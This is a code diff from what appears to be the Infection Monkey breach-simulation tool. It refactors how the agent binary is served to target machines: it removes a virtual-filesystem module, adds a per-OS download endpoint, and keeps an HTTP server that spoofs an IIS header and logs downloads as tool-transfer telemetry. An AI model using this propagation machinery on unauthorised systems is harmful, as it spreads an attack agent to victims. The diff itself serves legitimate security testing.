puppet.load_plugin(
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
|
|
|
@ -1,58 +0,0 @@
|
||||||
import os
|
|
||||||
from io import BytesIO
|
|
||||||
|
|
||||||
MONKEYFS_PREFIX = "monkeyfs://"
|
|
||||||
|
|
||||||
open_orig = open
|
|
||||||
|
|
||||||
|
|
||||||
class VirtualFile(BytesIO):
|
|
||||||
_vfs = {} # virtual File-System
|
|
||||||
|
|
||||||
def __init__(self, name, mode="r", buffering=None):
|
|
||||||
if not name.startswith(MONKEYFS_PREFIX):
|
|
||||||
name = MONKEYFS_PREFIX + name
|
|
||||||
self.name = name
|
|
||||||
if name in VirtualFile._vfs:
|
|
||||||
super(VirtualFile, self).__init__(self._vfs[name])
|
|
||||||
else:
|
|
||||||
super(VirtualFile, self).__init__()
|
|
||||||
|
|
||||||
def flush(self):
|
|
||||||
super(VirtualFile, self).flush()
|
|
||||||
VirtualFile._vfs[self.name] = self.getvalue()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def getsize(path):
|
|
||||||
return len(VirtualFile._vfs[path])
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def isfile(path):
|
|
||||||
return path in VirtualFile._vfs
|
|
||||||
|
|
||||||
|
|
||||||
def getsize(path):
|
|
||||||
if path.startswith(MONKEYFS_PREFIX):
|
|
||||||
return VirtualFile.getsize(path)
|
|
||||||
else:
|
|
||||||
return os.stat(path).st_size
|
|
||||||
|
|
||||||
|
|
||||||
def isfile(path):
|
|
||||||
if path.startswith(MONKEYFS_PREFIX):
|
|
||||||
return VirtualFile.isfile(path)
|
|
||||||
else:
|
|
||||||
return os.path.isfile(path)
|
|
||||||
|
|
||||||
|
|
||||||
def virtual_path(name):
|
|
||||||
return "%s%s" % (MONKEYFS_PREFIX, name)
|
|
||||||
|
|
||||||
|
|
||||||
# noinspection PyShadowingBuiltins
|
|
||||||
def open(name, mode="r", buffering=-1):
|
|
||||||
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
|
|
||||||
if name.startswith(MONKEYFS_PREFIX):
|
|
||||||
return VirtualFile(name, mode, buffering)
|
|
||||||
else:
|
|
||||||
return open_orig(name, mode=mode, buffering=buffering)
|
|
|
@ -1,2 +1 @@
|
||||||
from infection_monkey.transport.http import HTTPServer
|
|
||||||
from infection_monkey.transport.http import LockedHTTPServer
|
from infection_monkey.transport.http import LockedHTTPServer
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
import http.server
|
import http.server
|
||||||
import os.path
|
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
import threading
|
import threading
|
||||||
|
@ -7,7 +6,6 @@ import urllib
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from urllib.parse import urlsplit
|
from urllib.parse import urlsplit
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target
|
||||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||||
|
|
||||||
|
@ -16,7 +14,8 @@ logger = getLogger(__name__)
|
||||||
|
|
||||||
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
protocol_version = "HTTP/1.1"
|
protocol_version = "HTTP/1.1"
|
||||||
filename = ""
|
victim_os = ""
|
||||||
|
agent_repository = None
|
||||||
|
|
||||||
def version_string(self):
|
def version_string(self):
|
||||||
return "Microsoft-IIS/7.5."
|
return "Microsoft-IIS/7.5."
|
||||||
|
@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
total += chunk
|
total += chunk
|
||||||
start_range += chunk
|
start_range += chunk
|
||||||
|
|
||||||
if f.tell() == monkeyfs.getsize(self.filename):
|
if f.tell() == len(f.getbuffer()):
|
||||||
if self.report_download(self.client_address):
|
if self.report_download(self.client_address):
|
||||||
self.close_connection = 1
|
self.close_connection = 1
|
||||||
|
|
||||||
|
@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
def send_head(self):
|
def send_head(self):
|
||||||
if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)):
|
if self.path != "/" + urllib.parse.quote(self.victim_os):
|
||||||
self.send_error(500, "")
|
self.send_error(500, "")
|
||||||
return None, 0, 0
|
return None, 0, 0
|
||||||
try:
|
try:
|
||||||
f = monkeyfs.open(self.filename, "rb")
|
f = self.agent_repository.get_agent_binary(self.victim_os)
|
||||||
except IOError:
|
except IOError:
|
||||||
self.send_error(404, "File not found")
|
self.send_error(404, "File not found")
|
||||||
return None, 0, 0
|
return None, 0, 0
|
||||||
size = monkeyfs.getsize(self.filename)
|
size = len(f.getbuffer())
|
||||||
start_range = 0
|
start_range = 0
|
||||||
end_range = size
|
end_range = size
|
||||||
|
|
||||||
|
@ -157,50 +156,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class HTTPServer(threading.Thread):
|
|
||||||
def __init__(self, local_ip, local_port, filename, max_downloads=1):
|
|
||||||
self._local_ip = local_ip
|
|
||||||
self._local_port = local_port
|
|
||||||
self._filename = filename
|
|
||||||
self.max_downloads = max_downloads
|
|
||||||
self.downloads = 0
|
|
||||||
self._stopped = False
|
|
||||||
threading.Thread.__init__(self)
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
class TempHandler(FileServHTTPRequestHandler):
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
|
||||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
|
||||||
|
|
||||||
filename = self._filename
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def report_download(dest=None):
|
|
||||||
logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
|
|
||||||
TempHandler.T1105Telem(
|
|
||||||
TempHandler.ScanStatus.USED,
|
|
||||||
get_interface_to_target(dest[0]),
|
|
||||||
dest[0],
|
|
||||||
self._filename,
|
|
||||||
).send()
|
|
||||||
self.downloads += 1
|
|
||||||
if not self.downloads < self.max_downloads:
|
|
||||||
return True
|
|
||||||
return False
|
|
||||||
|
|
||||||
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
|
||||||
httpd.timeout = 0.5 # this is irrelevant?
|
|
||||||
|
|
||||||
while not self._stopped and self.downloads < self.max_downloads:
|
|
||||||
httpd.handle_request()
|
|
||||||
|
|
||||||
self._stopped = True
|
|
||||||
|
|
||||||
def stop(self, timeout=60):
|
|
||||||
self._stopped = True
|
|
||||||
self.join(timeout)
|
|
||||||
|
|
||||||
|
|
||||||
class LockedHTTPServer(threading.Thread):
|
class LockedHTTPServer(threading.Thread):
|
||||||
"""
|
"""
|
||||||
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
||||||
|
@ -213,10 +168,21 @@ class LockedHTTPServer(threading.Thread):
|
||||||
# Seconds to wait until server stops
|
# Seconds to wait until server stops
|
||||||
STOP_TIMEOUT = 5
|
STOP_TIMEOUT = 5
|
||||||
|
|
||||||
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
|
def __init__(
|
||||||
|
self,
|
||||||
|
local_ip,
|
||||||
|
local_port,
|
||||||
|
victim_os,
|
||||||
|
dropper_target_path,
|
||||||
|
agent_repository,
|
||||||
|
lock,
|
||||||
|
max_downloads=1,
|
||||||
|
):
|
||||||
self._local_ip = local_ip
|
self._local_ip = local_ip
|
||||||
self._local_port = local_port
|
self._local_port = local_port
|
||||||
self._filename = filename
|
self._victim_os = victim_os
|
||||||
|
self._dropper_target_path = dropper_target_path
|
||||||
|
self._agent_repository = agent_repository
|
||||||
self.max_downloads = max_downloads
|
self.max_downloads = max_downloads
|
||||||
self.downloads = 0
|
self.downloads = 0
|
||||||
self._stopped = False
|
self._stopped = False
|
||||||
|
@ -229,7 +195,8 @@ class LockedHTTPServer(threading.Thread):
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||||
|
|
||||||
filename = self._filename
|
victim_os = self._victim_os
|
||||||
|
agent_repository = self._agent_repository
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def report_download(dest=None):
|
def report_download(dest=None):
|
||||||
|
@ -238,7 +205,7 @@ class LockedHTTPServer(threading.Thread):
|
||||||
TempHandler.ScanStatus.USED,
|
TempHandler.ScanStatus.USED,
|
||||||
get_interface_to_target(dest[0]),
|
get_interface_to_target(dest[0]),
|
||||||
dest[0],
|
dest[0],
|
||||||
self._filename,
|
self._dropper_target_path,
|
||||||
).send()
|
).send()
|
||||||
self.downloads += 1
|
self.downloads += 1
|
||||||
if not self.downloads < self.max_downloads:
|
if not self.downloads < self.max_downloads:
|
||||||
|
|
|
@ -134,8 +134,7 @@ def init_api_resources(api):
|
||||||
api.add_resource(ConfigurationImport, "/api/configuration/import")
|
api.add_resource(ConfigurationImport, "/api/configuration/import")
|
||||||
api.add_resource(
|
api.add_resource(
|
||||||
MonkeyDownload,
|
MonkeyDownload,
|
||||||
"/api/monkey/download",
|
"/api/monkey/download/<string:host_os>",
|
||||||
"/api/monkey/download/<string:path>",
|
|
||||||
)
|
)
|
||||||
api.add_resource(NetMap, "/api/netmap")
|
api.add_resource(NetMap, "/api/netmap")
|
||||||
api.add_resource(Edge, "/api/netmap/edge")
|
api.add_resource(Edge, "/api/netmap/edge")
|
||||||
|
|
|
@ -1,63 +1,34 @@
|
||||||
import hashlib
|
import hashlib
|
||||||
import json
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
from pathlib import Path
|
||||||
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
from flask import request, send_from_directory
|
from flask import make_response, send_from_directory
|
||||||
|
|
||||||
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
MONKEY_DOWNLOADS = [
|
AGENTS = {
|
||||||
{
|
"linux": "monkey-linux-64",
|
||||||
"type": "linux",
|
"windows": "monkey-windows-64.exe",
|
||||||
"filename": "monkey-linux-64",
|
}
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "windows",
|
|
||||||
"filename": "monkey-windows-64.exe",
|
|
||||||
},
|
|
||||||
]
|
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_executable(host_os):
|
class UnsupportedOSError(Exception):
|
||||||
for download in MONKEY_DOWNLOADS:
|
pass
|
||||||
if host_os == download.get("type"):
|
|
||||||
logger.info(f"Monkey exec found for os: {host_os}")
|
|
||||||
return download
|
|
||||||
logger.warning(f"No monkey executables could be found for the host os: {host_os}")
|
|
||||||
return None
|
|
||||||
|
|
||||||
|
|
||||||
class MonkeyDownload(flask_restful.Resource):
|
class MonkeyDownload(flask_restful.Resource):
|
||||||
|
|
||||||
# Used by monkey. can't secure.
|
# Used by monkey. can't secure.
|
||||||
def get(self, path):
|
def get(self, host_os):
|
||||||
return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path)
|
try:
|
||||||
|
path = get_agent_executable_path(host_os)
|
||||||
# Used by monkey. can't secure.
|
return send_from_directory(path.parent, path.name)
|
||||||
def post(self):
|
except UnsupportedOSError as ex:
|
||||||
host_json = json.loads(request.data)
|
logger.error(ex)
|
||||||
host_os = host_json.get("os")
|
return make_response({"error": str(ex)}, 404)
|
||||||
if host_os:
|
|
||||||
result = get_monkey_executable(host_os.get("type"))
|
|
||||||
|
|
||||||
if result:
|
|
||||||
# change resulting from new base path
|
|
||||||
executable_filename = result["filename"]
|
|
||||||
real_path = MonkeyDownload.get_executable_full_path(executable_filename)
|
|
||||||
if os.path.isfile(real_path):
|
|
||||||
result["size"] = os.path.getsize(real_path)
|
|
||||||
return result
|
|
||||||
|
|
||||||
return {}
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_executable_full_path(executable_filename):
|
|
||||||
real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename)
|
|
||||||
return real_path
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def log_executable_hashes():
|
def log_executable_hashes():
|
||||||
|
@ -65,16 +36,30 @@ class MonkeyDownload(flask_restful.Resource):
|
||||||
Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
|
Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
|
||||||
version you have etc.).
|
version you have etc.).
|
||||||
"""
|
"""
|
||||||
filenames = set([x["filename"] for x in MONKEY_DOWNLOADS])
|
filenames = set(AGENTS.values())
|
||||||
for filename in filenames:
|
for filename in filenames:
|
||||||
filepath = MonkeyDownload.get_executable_full_path(filename)
|
filepath = get_executable_full_path(filename)
|
||||||
if os.path.isfile(filepath):
|
if filepath.is_file():
|
||||||
with open(filepath, "rb") as monkey_exec_file:
|
with open(filepath, "rb") as monkey_exec_file:
|
||||||
file_contents = monkey_exec_file.read()
|
file_contents = monkey_exec_file.read()
|
||||||
logger.debug(
|
file_sha256_hash = hashlib.sha256(file_contents).hexdigest()
|
||||||
"{} hashes:\nSHA-256 {}".format(
|
logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}")
|
||||||
filename, hashlib.sha256(file_contents).hexdigest()
|
|
||||||
)
|
|
||||||
)
|
|
||||||
else:
|
else:
|
||||||
logger.debug("No monkey executable for {}.".format(filepath))
|
logger.debug(f"No monkey executable for {filepath}")
|
||||||
|
|
||||||
|
|
||||||
|
def get_agent_executable_path(host_os: str) -> Path:
|
||||||
|
try:
|
||||||
|
agent_path = get_executable_full_path(AGENTS[host_os])
|
||||||
|
logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}")
|
||||||
|
|
||||||
|
return agent_path
|
||||||
|
except KeyError:
|
||||||
|
logger.warning(f"No monkey executables could be found for the host os: {host_os}")
|
||||||
|
raise UnsupportedOSError(
|
||||||
|
f'No Agents are available for unsupported operating system "{host_os}"'
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def get_executable_full_path(executable_filename: str) -> Path:
|
||||||
|
return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename
|
||||||
|
|
|
@ -5,8 +5,8 @@ import stat
|
||||||
import subprocess
|
import subprocess
|
||||||
from shutil import copyfile
|
from shutil import copyfile
|
||||||
|
|
||||||
from monkey_island.cc.resources.monkey_download import get_monkey_executable
|
from monkey_island.cc.resources.monkey_download import get_agent_executable_path
|
||||||
from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.server_utils.consts import ISLAND_PORT
|
||||||
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
|
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -25,12 +25,13 @@ class LocalMonkeyRunService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def run_local_monkey():
|
def run_local_monkey():
|
||||||
# get the monkey executable suitable to run on the server
|
# get the monkey executable suitable to run on the server
|
||||||
result = get_monkey_executable(platform.system().lower())
|
try:
|
||||||
if not result:
|
src_path = get_agent_executable_path(platform.system().lower())
|
||||||
return False, "OS Type not found"
|
except Exception as ex:
|
||||||
|
logger.error(f"Error running agent from island: {ex}")
|
||||||
|
return False, str(ex)
|
||||||
|
|
||||||
src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"])
|
dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name
|
||||||
dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"])
|
|
||||||
|
|
||||||
# copy the executable to temp path (don't run the monkey from its current location as it may
|
# copy the executable to temp path (don't run the monkey from its current location as it may
|
||||||
# delete itself)
|
# delete itself)
|
||||||
|
|
|
@ -51,7 +51,8 @@ def powershell_exploiter(monkeypatch):
|
||||||
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
|
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
|
||||||
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
|
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
|
||||||
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
||||||
# it's necessary to avoid having to deal with the monkeyfs
|
# it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so
|
||||||
|
# fix this.
|
||||||
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
||||||
|
|
||||||
return pe
|
return pe
|
||||||
|
|
Loading…
Reference in New Issue